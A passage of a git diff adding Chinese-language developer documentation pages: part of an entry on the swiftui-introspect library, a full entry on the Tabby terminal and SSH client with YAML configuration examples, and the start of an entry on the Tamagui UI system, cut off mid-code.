+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**swiftui-introspect**（Swift Package 名 `SwiftUIIntrospect`）是 Siteline 维护的开源库，让你在 SwiftUI 声明式界面里，**安全地拿到**某个 SwiftUI 控件背后真实的 `UIView` / `UIViewController`（或 macOS 上的 `NSView` / `NSViewController`），从而调用 SwiftUI 尚未暴露的 UIKit / AppKit API。
+
+日常类比：
+
+- SwiftUI 像一家**精装样板房**：墙、灯、柜子都装好了，住户只能按开发商给的开关调色温，不能自己改墙里走的线。
+- UIKit / AppKit 是**毛坯房里的水电工位**：`UIScrollView` 的 `bounces`、`UITableView` 的分隔线、`UINavigationBar` 的背景，`UITextField` 的 `clearButtonMode` 等细粒度旋钮都在这里。
+- **Introspect** 则像带**内窥镜的装修师傅**：不砸墙（不用私有 API），在样板房表面贴两个看不见的标记点，顺着标记之间的「视图树通道」找到真正的水电箱，帮你拧一下旋钮——SwiftUI 外壳还在，底层行为按你的需求微调。
+
+仓库：[siteline/swiftui-introspect](https://github.com/siteline/SwiftUI-Introspect)（原 `SwiftUI-Introspect`，现统一小写）。Apache-2.0，Swift Package Index 上活跃维护，1.0 起 API 稳定、面向生产。
+
+最小接入（Swift Package Manager）：
+
+```swift
+// Package.swift
+dependencies: [
+    .package(url: "https://github.com/siteline/swiftui-introspect", from: "27.0.0-beta"),
+],
+targets: [
+    .target(name: "MyApp", dependencies: [
+        .product(name: "SwiftUIIntrospect", package: "swiftui-introspect"),
+    ]),
+]
+```
+
+视图里 `import SwiftUIIntrospect`，在目标视图上链式调用 `.introspect(...)` 即可。
+
+## 为什么重要
+
+零基础学 SwiftUI 时，常见挫败来自「文档里没这个 modifier」：
+
+| 你想做的事 | SwiftUI 原生 | Introspect 的补位 |
+|------------|--------------|-------------------|
+| 关掉 `ScrollView` 橡皮筋回弹 | 无直接 API（iOS 17 前尤其明显） | 拿到 `UIScrollView`，设 `bounces = false` |
+| 改 `List` 分隔线、背景、section 间距 | 有限 | iOS 15 及以前走 `UITableView`；iOS 16+ 常是 `UICollectionView` |
+| 定制导航栏、TabBar 外观 | `toolbar` / `tint` 能覆盖一部分 | 直接改 `UINavigationController` / `UITabBarController` |
+| `TextField` 清除按钮、键盘 return 键类型 | 部分支持 | `UITextField` 全量属性 |
+| 在 SwiftUI 里做复杂转场、自定义键盘 | 困难 | 社区库（如 PopupView、swiftui-navigation-transitions）多建立在 Introspect 之上 |
+
+需要清醒认识：**Introspect 是桥，不是终点**。Apple 持续给 SwiftUI 补 modifier；库作者也声明项目趋于「完成态」——随 SwiftUI 成熟，内窥需求会慢慢减少。但在今天，它仍是大量生产 App 和 UI 库填补能力缺口时的**事实标准方案**。
+
+## 工作原理（核心机制）
+
+Introspect **不**使用私有 API，也不假设固定的子视图层级。流程可以记成四步：
+
+1. **标记**：在你要 introspect 的 SwiftUI 视图**上方**插入不可见的 `IntrospectionView`（overlay），**下方**插入不可见的 anchor（background）。
+2. **等待入树**：`UIViewRepresentable` 的 `updateUIView` 调用时，视图可能尚未挂到 window；库用 `DispatchQueue.main.async` 等到 runloop 把标记视图插入层级后再查找。
+3. **遍历**：在两个标记之间的 UIKit 子树里**广度/深度搜索**，直到找到目标类型（如 `UIScrollView`）；找不到则**静默跳过**，不 force cast、不崩溃。
+4. **定制**：在闭包里对找到的实例执行你的 UIKit 代码；视图更新时闭包**可能多次执行**，定制逻辑必须幂等。
+
+```text
+  [IntrospectionView]  ← 上标记（hidden, 不参与交互）
+         │
+    SwiftUI 托管的 ScrollView 区域
+         │
+  [IntrospectionAnchor] ← 下标记
+         ↓
+  遍历中间子视图 → 发现 UIScrollView → customize(scrollView)
+```
+
+### 默认 scope：receiver vs ancestor
+
+- **默认**：`.introspect` 修饰在**谁**身上，就 introspect **谁**对应的底层视图。写在 `ScrollView { ... }` **外面**有效；写在 `ScrollView` **内部子视图**上默认**无效**。
+- **`scope: .ancestor`**：从子视图向上找祖先里的 `UIScrollView` 等——仅在你无法把 modifier 挂在外层时使用。
+
+### 必须显式声明系统版本
+
+`.introspect(.scrollView, on: .iOS(.v17, .v18, .v26, .v27))` 里的版本列表是**有意设计**：大版本升级时 Apple 可能把 `List` 从 `UITableView` 换成 `UICollectionView`，不声明版本会导致闭包不执行或类型不对。升级 Xcode / 部署目标后，要**对照 README 补新版本号**并真机回归。
+
+## 核心概念
+
+### 1. `IntrospectableViewType` — 「查哪种控件」
+
+`.introspect` 第一个参数不是字符串，而是类型安全的描述符，例如 `.scrollView`、`.textField`、`.list`、`.navigationView(style: .stack)`。同一 SwiftUI 概念在不同 style / OS 下可能映射不同 UIKit 类，所以要分开声明。
+
+### 2. `on:` — 平台与版本谓词
+
+`on: .iOS(.v17, .v18, .v26, .v27)` 表示仅在列出的 iOS 版本上启用该查找逻辑。macOS 用 `.macOS(...)`，tvOS / visionOS 有对应枚举。Advanced SPI 支持 `.iOS(.v13...)` 范围（库作者用，App 慎用）。
+
+### 3. `customize` 闭包 — 幂等的 UIKit 补丁
+
+闭包在布局更新、状态变化时可能反复调用。应：
+
+- 避免在闭包里直接改 `@State`（若必须，用 `DispatchQueue.main.async` 包一层）；
+- 避免强引用 `self` 造成循环引用；
+- 不要把 introspect 到的对象塞进 `@State`（用 Advanced 的 `@Weak`）。
+
+### 4. 能 introspect 与不能 introspect
+
+**已实现**（节选）：`ScrollView`、`List`（多种 style）、`TextField`、`TextEditor`、`Toggle`、`TabView`、`NavigationStack` / `NavigationView`、`Form`、`Sheet`、`WebView` 等——完整列表见 [官方 README View Types](https://github.com/siteline/swiftui-introspect#view-types)。
+
+**无法实现**（无独立底层视图）：`Text`、`Image`、`HStack` / `VStack`、`Spacer`、`Divider`、`Color`、`ForEach`、`GeometryReader` 等——它们不是「一个 UILabel」，没有可钩的单一 UIKit 对象。
+
+### 5. 与旧版 `Introspect` 模块的关系
+
+仓库曾同时包含旧模块 `Introspect` 与新模块 `SwiftUIIntrospect`。1.0 起推荐**只用** `SwiftUIIntrospect`：API 更稳定、scope 语义更清晰。迁移时重点检查 modifier 挂载位置与 `on:` 版本列表。
+
+## 安装与项目接入
+
+```swift
+import SwiftUI
+import SwiftUIIntrospect
+
+struct ContentView: View {
+    var body: some View {
+        ScrollView {
+            Text("Hello")
+        }
+        .introspect(.scrollView, on: .iOS(.v17, .v18, .v26, .v27)) { scrollView in
+            scrollView.bounces = false
+            scrollView.alwaysBounceVertical = false
+        }
+    }
+}
+```
+
+CocoaPods 用户可搜 `SwiftUIIntrospect` pod；新工程优先 SPM。
+
+**库作者依赖版本**：README 建议范围跨度至少覆盖**最近两个 major**，例如 `"26.0.0"..<"28.0.0-beta"`，减少与应用直接依赖时的版本冲突。
+
+## 代码示例
+
+### 示例 1：List — 关回弹 + 按系统版本分支
+
+iOS 15 及以前 `List` 底层是 `UITableView`；iOS 16+ 常见实现为 `UICollectionView`。Introspect 要求你**分开写**：
+
+```swift
+import SwiftUI
+import SwiftUIIntrospect
+
+struct FeedView: View {
+    let items = ["新闻", "关注", "推荐"]
+
+    var body: some View {
+        List(items, id: \.self) { item in
+            Text(item)
+        }
+        .listStyle(.insetGrouped)
+        // iOS 13–15：UITableView
+        .introspect(.list, on: .iOS(.v13, .v14, .v15)) { tableView in
+            tableView.bounces = false
+            tableView.separatorInset = UIEdgeInsets(top: 0, left: 16, bottom: 0, right: 16)
+        }
+        // iOS 16+：UICollectionView（List 新实现）
+        .introspect(.list, on: .iOS(.v16, .v17, .v18, .v26, .v27)) { collectionView in
+            collectionView.bounces = false
+            collectionView.backgroundColor = .systemGroupedBackground
+        }
+    }
+}
+```
+
+要点：两个 `.introspect` 可链在同一视图上；只有当前 OS 命中 `on:` 的那一个会执行。
+
+### 示例 2：TextField + NavigationView — 输入框与导航栏细调
+
+```swift
+import SwiftUI
+import SwiftUIIntrospect
+
+struct LoginView: View {
+    @State private var email = ""
+    @State private var password = ""
+
+    var body: some View {
+        NavigationView {
+            Form {
+                TextField("邮箱", text: $email)
+                    .textContentType(.emailAddress)
+                    .keyboardType(.emailAddress)
+                    .introspect(.textField, on: .iOS(.v17, .v18, .v26, .v27)) { textField in
+                        textField.clearButtonMode = .whileEditing
+                        textField.autocapitalizationType = .none
+                    }
+
+                SecureField("密码", text: $password)
+                    .introspect(.secureField, on: .iOS(.v17, .v18, .v26, .v27)) { textField in
+                        textField.textContentType = .password
+                    }
+            }
+            .navigationTitle("登录")
+        }
+        .navigationViewStyle(.stack)
+        .introspect(.navigationView(style: .stack), on: .iOS(.v17, .v18, .v26, .v27)) { nav in
+            let appearance = UINavigationBarAppearance()
+            appearance.configureWithOpaqueBackground()
+            appearance.backgroundColor = UIColor.systemBackground
+            nav.navigationBar.standardAppearance = appearance
+            nav.navigationBar.scrollEdgeAppearance = appearance
+        }
+    }
+}
+```
+
+`TextField` 的 modifier 挂在 **TextField 自身**（receiver scope）；`NavigationView` 的 introspect 挂在外层并指定 `style: .stack`，与 `.navigationViewStyle(.stack)` 一致。
+
+### 示例 3：子视图内找祖先 ScrollView（`scope: .ancestor`）
+
+当你无法把 modifier 写在 `ScrollView` 外壳上时：
+
+```swift
+ScrollView {
+    Text("Item 1")
+        .introspect(
+            .scrollView,
+            on: .iOS(.v17, .v18, .v26, .v27),
+            scope: .ancestor
+        ) { scrollView in
+            scrollView.keyboardDismissMode = .onDrag
+        }
+}
+```
+
+仅在确有需要时使用 `ancestor`；多数场景把 `.introspect` 放在 `ScrollView` 闭包外更清晰。
+
+## 使用准则（官方 General Guidelines 浓缩）
+
+1. **能不用就不用**：先查 SwiftUI 是否有新 modifier（如 iOS 16+ `scrollBounceBehavior`）。
+2. **闭包幂等**：多次调用结果一致，避免重复添加 subview / observer。
+3. **别在闭包里同步改 SwiftUI 状态**。
+4. **跨 OS 真机测**：模拟器不够时，用 TestFlight 覆盖目标版本。
+5. **大版本升级检查 README**：补 `.v26`、`.v27` 等条目，并跑 UI 回归。
+
+## Advanced SPI（进阶，可选）
+
+`@_spi(Advanced) import SwiftUIIntrospect` 可解锁：
+
+- **自定义 IntrospectableViewType**（库未覆盖的控件）；
+- **版本范围** `.iOS(.v13...)`（面向库作者的未来证明）；
+- **`@Weak var scrollView: UIScrollView?`** 在闭包外弱引用底层对象，避免 `@State` 循环引用。
+
+App 业务代码 90% 场景不需要 SPI。
+
+## 生态与相关项目
+
+基于 Introspect 的社区库（README 列举）：
+
+- [CustomKeyboardKit](https://github.com/paescebu/CustomKeyboardKit) — 自定义键盘
+- [swiftui-navigation-transitions](https://github.com/davdroman/swiftui-navigation-transitions) — 导航转场
+- [PopupView](https://github.com/exyte/PopupView) — 弹层
+
+同仓库还可对比学习 [[monaco-editor]] 式「宿主 + 内层引擎」分工：SwiftUI 是宿主，UIKit 是引擎；Introspect 是两者之间的**合法检修口**。
+
+## 常见坑
+
+| 现象 | 可能原因 | 处理 |
+|------|----------|------|
+| 闭包从不执行 | `on:` 未包含当前 OS；或 modifier 挂在错误 scope | 补版本号；移到 receiver 或设 `scope: .ancestor` |
+| 升级 iOS 后样式失效 | `List` 底层从 Table 变 Collection | 为新版单独写 `.introspect` |
+| 内存涨 | 闭包强引用 VC；或用 `@State` 存 UIScrollView | `[weak self]` + `@Weak` |
+| App Store 拒审担忧 | 误以为私有 API | 官方说明仅用公开层级遍历；仍建议少而精 |
+| `Text` / `Button` 无效 | 本来就没有独立 UILabel / UIButton | 换 `TextField` 或自定义 `UIViewRepresentable` |
+
+## 与替代方案怎么选
+
+```text
+需求                          更合适的路线
+────────────────────────────────────────────────────
+只要改颜色/字体               SwiftUI modifier + Asset Catalog
+要完全自定义控件               UIViewRepresentable / UIViewControllerRepresentable
+偶尔补系统控件缺口             swiftui-introspect（本库）
+整页 UIKit 遗留               整页 UIHostingController 反向嵌入或纯 UIKit
+```
+
+`UIViewRepresentable` 是「自己带一台发动机」；Introspect 是「在苹果发动机上拧螺丝」。前者更重、更稳；后者更轻、更依赖 Apple 内部实现不变。
+
+## 学习路径建议
+
+1. 先熟练 SwiftUI 布局与状态（`@State`、`List`、`ScrollView`），明确**缺哪条 API**。
+2. 读 README 的 [View Types](https://github.com/siteline/swiftui-introspect#view-types)，确认目标在「已实现」列表里。
+3. 从 `ScrollView` / `TextField` 练手，再碰 `List` 双分支和 `NavigationView`。
+4. 每升一个 deployment target，把 `on:` 与真机截图存档进 CI 或手工 checklist。
+5. 关注 SwiftUI Release Notes：原生 modifier 能替代时，删掉 introspect 分支，减少技术债。
+
+## 小结
+
+**swiftui-introspect** 用「双标记 + 视图树搜索」在 SwiftUI 与 UIKit / AppKit 之间架起**类型安全、无私有 API、失败静默**的桥。记住三件事即可上手：**modifier 挂对接收者**、**按 OS 版本写 `on:`**、**定制闭包要幂等**。它是填补 SwiftUI 能力空窗的实用工具，而不是替代 SwiftUI 的第二套 UI 框架；随系统演进，宜少不宜多，用毕有原生方案时及时收敛。
diff --git a/src/content/docs/projects/tabby-terminal.md b/src/content/docs/projects/tabby-terminal.md
new file mode 100644
index 000000000..3de897137
--- /dev/null
+++ b/src/content/docs/projects/tabby-terminal.md
@@ -0,0 +1,218 @@
+---
+title: Tabby Terminal — 把终端、SSH 与串口捏进一个可扩展壳
+来源: 'Eugeny, "Tabby", https://github.com/Eugeny/tabby'
+日期: 2026-06-13
+子分类: 命令行工具
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Tabby（前身 **Terminus**）是一款跨平台（Windows / macOS / Linux）的**终端模拟器 + SSH 客户端 + 串口终端**，用 Electron + Angular 写成，底层终端渲染基于 **XTerm.js**。日常类比：
+
+> 以前你运维一台服务器，桌面上要摆三样东西：系统自带黑窗口跑本地命令、PuTTY 记 SSH 密码和跳板、SecureCRT 偶尔连串口调交换机。
+> Tabby 像一间**带前台登记处的联合办公区**——本地 Shell、远程 SSH、串口会话都开成标签页，连接信息存在同一套 Profile 里，分屏、主题、快捷键一次配好到处用。
+
+它不是新 Shell，也不是 MinGW/Cygwin 替代品；官方也明说**不是轻量选手**——若你追求几十 MB 内存占用，应看 [Alacritty](https://github.com/alacritty/alacritty) 或 Windows Terminal。Tabby 换的是**功能密度与可配置性**：内置连接管理、Vault 加密凭据、插件市场、Quake 模式侧栏、进程完成通知等。
+
+## 为什么重要
+
+不理解 Tabby 的定位，下面这些事容易选错工具或配错文件：
+
+- **Windows 用户告别「PuTTY + CMD」双开**：同一窗口里 WSL、PowerShell、Git-Bash、SSH 会话 Tab 切换，字体连字与 True Color 开箱即用
+- **SSH 不止于 `ssh user@host`**：Jump Host 自动链、端口转发预配置、Agent 转发、登录脚本、Zmodem 传文件——这些在 Tabby 里是连接 Profile 的一级公民，不必再维护一份平行 `~/.ssh/config`（当然两者可以并存）
+- **配置即代码**：`config.yaml` 可版本管理；旁边还可放 `ssh-profiles.yaml` 批量导入静态 SSH 列表（类似 iTerm2 Dynamic Profiles）
+- **插件架构**：连接类型（SSH / Local / Serial / Telnet）本身就是插件；社区还有 Docker 进容器、MCP Server 接 Cursor、配置同步到 Gist 等扩展
+- **与作者生态联动**：Tabby 作者还维护 [Warpgate](https://github.com/warp-tech/warpgate)（智能 SSH/HTTP bastion），有 `web-auth-handler` 插件专门对接浏览器内认证
+
+## 核心要点
+
+Tabby 可以拆成四层理解：
+
+### 1. 终端引擎（XTerm.js）
+
+负责 VT220 及扩展仿真：24 位真彩色、Bracketed Paste、多行粘贴警告、连字（ligatures）、Nerd Fonts、高速输出不卡顿。日常类比：这是**显示屏**——不管你后面接的是本机 bash 还是远端 sshd，画面规则一致。
+
+### 2. 连接类型（Connection Plugins）
+
+| 类型 | 典型用途 | 亮点 |
+|------|----------|------|
+| **Local** | 本机 Shell | PowerShell / WSL / zsh / fish；可检测当前工作目录 |
+| **SSH** | 远程服务器 | Jump Host、X11、端口转发、登录脚本、Zmodem |
+| **Serial** | 路由器、嵌入式 | 十六进制收发、换行转换、自动重连 |
+| **Telnet** | 老旧设备 | 与 SSH 共用连接管理器 UI |
+
+每种连接保存为 **Profile**，可绑定快捷键一键打开。
+
+### 3. 工作区 UI
+
+- **标签页**：可置顶/置底/置侧；崩溃或误关后可恢复会话状态
+- **分屏（Split Panes）**：嵌套拆分，布局可存成 Profile
+- **Quake 模式**：全局热键从屏幕边缘滑出，类似游戏里按 `` ` `` 呼出控制台
+- **进度检测**：编译、下载等任务跑完可系统通知
+
+### 4. 配置与 Vault
+
+主配置文件位置（因平台而异）：
+
+| 平台 | 路径 |
+|------|------|
+| Linux | `~/.config/tabby/config.yaml` |
+| macOS | `~/Library/Application Support/tabby/config.yaml` |
+| Windows | `%APPDATA%\tabby\config.yaml` |
+
+**Vault** 是写在 `config.yaml` 里的加密容器，用你设的口令解锁；迁移机器时复制整个配置目录即可带走加密后的凭据（需记得同一 Vault 密码）。若把密码交给 macOS Keychain，则还需单独迁移钥匙串。
+
+同目录下可放 **`ssh-profiles.yaml`**，与 GUI 里建的 SSH Profile 字段一致，适合 Git 管理服务器清单（密钥路径仍建议用本机映射，可配合 `ssh-keymap` 插件）。
+
+## 实践案例
+
+### 案例 1：用 `config.yaml` 定义本地开发 Shell Profile
+
+在设置里改外观会写回 YAML；也可以直接编辑文件（**先退出 Tabby 或接受 GUI 覆盖风险**）：
+
+```yaml
+# ~/.config/tabby/config.yaml（片段）
+terminal:
+  font: JetBrains Mono
+  fontSize: 13
+  ligatures: true
+  copyOnSelect: true
+  bracketedPaste: true
+  scrollback: 50000
+
+profiles:
+  - type: local
+    name: Dev — zsh
+    group: Local
+    options:
+      command: /bin/zsh
+      args: ['-l']
+      cwd: /Users/you/projects
+      env:
+        EDITOR: nvim
+    terminalColorScheme:
+      name: Catppuccin Mocha
+```
+
+**逐段解释**：
+
+- `terminal` 段是**全局默认**——字体、滚动缓冲区、选中即复制等行为
+- `profiles` 里 `type: local` 表示本机 Shell；`cwd` 让每次打开落在固定项目根目录
+- `terminalColorScheme` 可引用已安装主题插件里的配色名
+
+### 案例 2：用 `ssh-profiles.yaml` 批量导入 SSH 连接
+
+在 `config.yaml` **同级目录**创建 `ssh-profiles.yaml`（Tabby 启动时自动合并）：
+
+```yaml
+# ~/.config/tabby/ssh-profiles.yaml
+- name: prod-web-01
+  group: Production
+  options:
+    host: 10.0.1.11
+    port: 22
+    user: deploy
+  weight: 10
+
+- name: staging via bastion
+  group: Staging
+  options:
+    host: 10.0.2.50
+    user: ubuntu
+    jumpHost: bastion.example.com
+    jumpHostUser: jumpuser
+    agentForward: true
+    forwardPorts:
+      - name: grafana
+        host: 127.0.0.1
+        port: 3000
+        targetHost: 127.0.0.1
+        targetPort: 3000
+```
+
+**要点**：
+
+- `jumpHost` 不必手写 `ProxyJump`——Tabby SSH 插件会组链
+- `forwardPorts` 把常用隧道写进 Profile，点连接即自动建立本地端口转发
+- 在 UI 里新建测试 Profile 后，从 `config.yaml` 里**复制 `options` 块**是查字段名的最快办法
+
+### 案例 3：Quake 模式与分屏快捷键（YAML 片段）
+
+```yaml
+hotkeys:
+  toggle-window:
+    - Ctrl-Shift-`
+  split-horizontal:
+    - Ctrl-Shift-D
+  split-vertical:
+    - Ctrl-Shift-E
+  focus-pane-up:
+    - Ctrl-Alt-Up
+  focus-pane-down:
+    - Ctrl-Alt-Down
+
+enableQuakeMode: true
+quakeMode:
+  animationDuration: 200
+  hideOnBlur: true
+```
+
+按 `Ctrl-Shift-`` ` 从屏幕边缘唤出/隐藏 Tabby，适合「偶尔敲一条命令」而不占常驻窗口。分屏后配合 `focus-pane-*` 热键在 pane 间跳转，多数场景**不必再开 tmux**（重度远端持久会话除外）。
+
+### 案例 4：安装插件扩展工作流
+
+设置 → **Plugins** 可搜索安装，例如：
+
+- **quick-cmds**：向当前或全部标签广播预设命令（批量 `git pull`）
+- **save-output**：把终端输出落盘，方便留审计日志
+- **sync-config**：把 `config.yaml` 同步到 Gist / Gitee（注意 Vault 与密钥路径）
+- **mcp-server**：让 Cursor / Windsurf 通过 MCP 驱动 Tabby 会话
+
+插件本质是 npm 包，Tabby 动态加载；开发自定义插件见官方 [API 文档](https://docs.tabby.sh/)。
+
+## 安装速查
+
+```bash
+# macOS（Homebrew）
+brew install --cask tabby
+
+# Debian/Ubuntu（官方仓库，见 packagecloud 说明）
+# curl 安装脚本后 apt install tabby-terminal
+
+# 任意平台：GitHub Releases 下载 .dmg / .exe / .AppImage
+# https://github.com/Eugeny/tabby/releases/latest
+```
+
+Windows **便携版**：在 `Tabby.exe` 旁新建 `data` 文件夹，配置与插件数据会写在目录内，适合 U 盘携带。
+
+## 踩过的坑
+
+1. **GUI 与手写 YAML 互相覆盖**：在设置面板点保存会整文件写回；想 Git 管理配置时，约定「只改 YAML」或改完重启 Tabby，避免两边同时编辑。
+2. **Vault 密码遗忘 = 凭据全丢**：Vault 加密块无法暴力恢复；迁移前用备份口令解锁验证一次。
+3. **SSH 私钥路径跨机不一致**：笔记本与台式机用户名不同，`IdentityFile` 绝对路径会失效；用 **ssh-keymap** 插件把逻辑名映射到本机路径。
+4. **个别版本 GUI 保存 SSH Profile 失败**：社区反馈过 v1.0.231 附近「复制 Profile 后点 Save 无反应」；可临时直接编辑 `config.yaml`，或降到修复版本（issue #11188）。
+5. **内存占用**：Electron 底座 + 多标签 + 大 scrollback 会显著吃 RAM；开发机 16GB 以上较舒适，低配机请减小 `scrollback` 或选 Alacritty。
+6. **与系统 OpenSSH 配置关系**：Tabby 自带 SSH 栈，不强制读 `~/.ssh/config`；复杂 `Match` 规则若以 Tabby 为主，建议在 Profile 里显式写 `jumpHost` / `forwardPorts`，避免「命令行能连、Tabby 不能」的双轨困惑。
+
+## 与其他终端怎么选
+
+| 工具 | 定位 | 何时选 Tabby | 何时不选 |
+|------|------|--------------|----------|
+| **Windows Terminal** | 系统级轻量多标签 | 要内置 SSH 管理、串口、Vault | 只要本机 Shell、要微软官方集成 |
+| **iTerm2** | macOS 老牌 | 要跨平台同一套 UI + SSH | 仅 macOS、已深度投资 iTerm 配置 |
+| **PuTTY** | Windows SSH 经典 | 要现代 UI、True Color、插件 | 嵌入式环境只要单文件绿色版 |
+| **Alacritty** | GPU 极简 | 要一体化运维工作台 | 要极致性能与低内存 |
+| **WezTerm** | Rust 跨平台 | 要 Lua 配置 + 多路复用 | 更偏好 WezTerm 的 mux 模型 |
+
+一句话：**Tabby = 终端界的「瑞士军刀」**——功能多、可插件、略重；适合每天开很多 SSH、又想要漂亮字体和统一快捷键的开发者与运维。
+
+## 延伸阅读
+
+- 官网与功能列表：[tabby.sh](https://tabby.sh/about/features)
+- 源码与插件列表：[Eugeny/tabby](https://github.com/Eugeny/tabby)
+- 插件开发：[docs.tabby.sh](https://docs.tabby.sh/)
+- Web 版（可自托管）：[tabby.sh/app](https://tabby.sh/app) · [tabby-web](https://github.com/Eugeny/tabby-web)
+- 同作者 bastion：[Warpgate](https://github.com/warp-tech/warpgate)
+- 配置迁移（macOS）：复制 `~/Library/Application Support/tabby` 整目录并解锁 Vault
diff --git a/src/content/docs/projects/tamagui.md b/src/content/docs/projects/tamagui.md
new file mode 100644
index 000000000..332cbbe2f
--- /dev/null
+++ b/src/content/docs/projects/tamagui.md
@@ -0,0 +1,442 @@
+---
+title: Tamagui — 跨平台 React / React Native 样式与 UI 系统
+来源: https://github.com/tamagui/tamagui
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Tamagui 是一套面向 **React Web + React Native** 的跨平台 UI 基础设施：底层是类型安全的样式库（`@tamagui/core`），上层是可选的组件库（`tamagui`），中间还夹着一台**可选的优化编译器**（`@tamagui/static`），把你在 JSX 里写的样式尽量「压扁」成平台原生能直接吃的形式。
+
+日常类比：你要同时装修**手机 App 店面**和**网页旗舰店**，传统做法是请两拨设计师各画一套图纸——改个按钮颜色，两边各改一遍，还容易风格走样。Tamagui 像一家「连锁装修总部」：先定好**品牌色板、间距标尺、灯光主题**（tokens + themes），再发一套**标准货架和收银台组件**（Button、Card、Input…），最后配一台**自动施工图机器**（compiler）——Web 端把复杂组件树压成 `div` + 原子 CSS，原生端把样式对象提前算好挂到 `View` 上，两边看起来一致，跑起来也不拖后腿。
+
+它和 React Native Web、NativeWind 的关系：
+
+| 技术 | 定位 |
+|------|------|
+| React Native Web | 让 RN 组件能在浏览器渲染——**兼容层** |
+| NativeWind | 在 RN 上用 Tailwind class 写样式——**样式工具** |
+| Tamagui | 设计 tokens + 主题 + 组件 + 编译优化——**完整设计系统** |
+
+官方推荐用脚手架起步：
+
+```bash
+npm create tamagui@latest
+```
+
+当前主版本为 **Tamagui 2.x**（2026 年初 GitHub 最新 release 约 v2.1.0），强调更稳定的编译器、Web-first 的 `Input`、以及可混用的动画驱动（`animatedBy`）。
+
+## 为什么重要
+
+不理解 Tamagui，以下问题很难答清楚：
+
+- **「一套代码三端」为什么常常牺牲性能？** —— 抽象层叠太多（styled-components、CSS-in-JS runtime、RN Web 转换）会让 Web bundle 膨胀、原生端 re-render 变多。Tamagui 用编译期**树扁平化（tree flattening）**和**部分求值（partial evaluation）**把抽象拆掉
+- **主题切换为什么很多库会闪一下？** —— 运行时改 context 会触发子树重渲染。Tamagui 把主题编译成 CSS 变量（Web）或静态样式对象（Native），切换时尽量不走 React 更新路径
+- **和 Tamagui 竞争的还有谁？** —— Gluestack UI、NativeWind + 自建组件、React Native Paper 等。Tamagui 的差异化是 **compiler + 完整 token/theme 体系 + 100% RN 样式 API 超集**
+- **编译器是必装的吗？** —— 不是。Tamagui 在**无插件**时也能跑；官方建议开发期先不装，上线前再开 Babel/Metro/Vite 插件做最后一档加速
+
+## 核心概念
+
+Tamagui 可以拆成四层来记：
+
+### 1. Core：跨平台样式原语
+
+`@tamagui/core` 提供 `View`、`Text`、`Stack`（`XStack` / `YStack` / `ZStack`）等基础视图，以及 `styled()` 工厂。样式 props 是 React Native Style API 的**类型化超集**，并支持：
+
+- **Token 引用**：`padding="$4"`、`color="$blue10"`
+- **主题引用**：`backgroundColor="$background"`（随 `<Theme>` 变化）
+- **响应式 props**：`$sm={{ padding: '$2' }}`（编译为 media query 或原生条件样式）
+- **伪状态**：`hoverStyle`、`pressStyle`、`focusStyle`
+
+### 2. Tokens：设计常量（不会动态变的 CSS 变量）
+
+用 `createTokens` 定义 `size`、`space`、`radius`、`color`、`zIndex` 等。类比连锁店的**全国统一尺码表**——S/M/L 编号全店通用，不会今天 S 是 36 明天变 38。
+
+```tsx
+const tokens = createTokens({
+  size: { sm: 8, md: 12, lg: 20 },
+  space: { sm: 4, md: 8, lg: 12 },
+  color: { white: '#fff', black: '#000' },
+})
+```
+
+组件里写 `width="$md"`，TypeScript 会校验 token 名是否存在。
+
+### 3. Themes：可沿组件树覆盖的语义色
+
+Themes 像**按区域切换的灯光方案**：大堂用暖光（`light`），VIP 室用冷光（`dark`），还能嵌套子主题 `dark_blue`。子组件读 `$background`、`$color` 等语义键，而不是硬编码 hex。
+
+Theme 值优先；找不到时回退到 `tokens.color` 同名项——类似 CSS 变量作用域覆盖全局变量。
+
+### 4. Compiler：前端「不可能三角」的妥协方案
+
+Tamagui 文档把跨平台 UI 的困境叫 **Frontend Trilemma**（来自 Nathan Curtis 的跨平台讨论）：
+
+1. **只写一次，到处跑**（共享代码）
+2. **像原生一样快**（性能）
+3. **开发体验好**（inline style、主题、响应式随手写）
+
+传统方案通常只能三选二。Tamagui 的编译器在构建期做四件事：
+
+| 优化 | 效果 |
+|------|------|
+| 原子 CSS 提取 | Web 端样式变 class，减小 JS |
+| 部分求值与提升 | 把能算死的样式从运行时挪到构建期 |
+| 树扁平化 | `styled(YStack)` 可能直接变成 `div` / `View` |
+| 媒体查询 / 主题求值 | `useMedia`、`useTheme` 逻辑尽量编译掉 |
+
+Tamagui 官网首页约 55 个内联 styled 组件里，有 49 个被压扁成原生 `div`；开编译器后 Lighthouse 分数约提升 15%（官方 benchmark，实际项目因复杂度而异）。
+
+### 5. UI Kit：开箱即用的组件
+
+`tamagui` 包提供 `Button`、`Input`、`Sheet`、`Dialog`、`Avatar` 等，支持 **compound component** API（如 `Button.Icon`）、`size` / `theme` prop、以及 `Adapt`  primitive——同一组件在 Web 弹 Dialog、在 Native 弹 Sheet，代码路径可合并。
+
+## 从零配置（最小可运行）
+
+**1. 安装**
+
+```bash
+npm install tamagui @tamagui/config
+# 可选：编译器
+npm install --save-dev @tamagui/babel-plugin
+```
+
+**2. 配置文件 `tamagui.config.ts`**
+
+推荐先用官方预设 `@tamagui/config/v5`，再按需覆盖：
+
+```tsx
+import { defaultConfig } from '@tamagui/config/v5'
+import { animations } from '@tamagui/config/v5-css' // Tamagui 2：动画需单独导入
+import { createTamagui } from 'tamagui'
+
+export const config = createTamagui({
+  ...defaultConfig,
+  animations,
+  media: {
+    ...defaultConfig.media,
+    // 自定义断点
+    tablet: { maxWidth: 1024 },
+  },
+})
+
+type Conf = typeof config
+declare module 'tamagui' {
+  interface TamaguiCustomConfig extends Conf {}
+}
+```
+
+**3. 根组件包裹 Provider**
+
+```tsx
+import { TamaguiProvider, YStack, Text } from 'tamagui'
+import { config } from './tamagui.config'
+
+export default function App() {
+  return (
+    <TamaguiProvider config={config} defaultTheme="light">
+      <YStack flex={1} alignItems="center" justifyContent="center" backgroundColor="$background">
+        <Text fontSize="$6" color="$color">
+          你好，Tamagui
+        </Text>
+      </YStack>
+    </TamaguiProvider>
+  )
+}
+```
+
+**4. 启用编译器（可选，生产阶段）**
+
+Metro（Expo）示例——在 `babel.config.js` 中加入：
+
+```js
+module.exports = function (api) {
+  api.cache(true)
+  return {
+    presets: ['babel-preset-expo'],
+    plugins: [
+      [
+        '@tamagui/babel-plugin',
+        {
+          components: ['tamagui'],
+          config: './tamagui.config.ts',
+          logTimings: true,
+        },
+      ],
+    ],
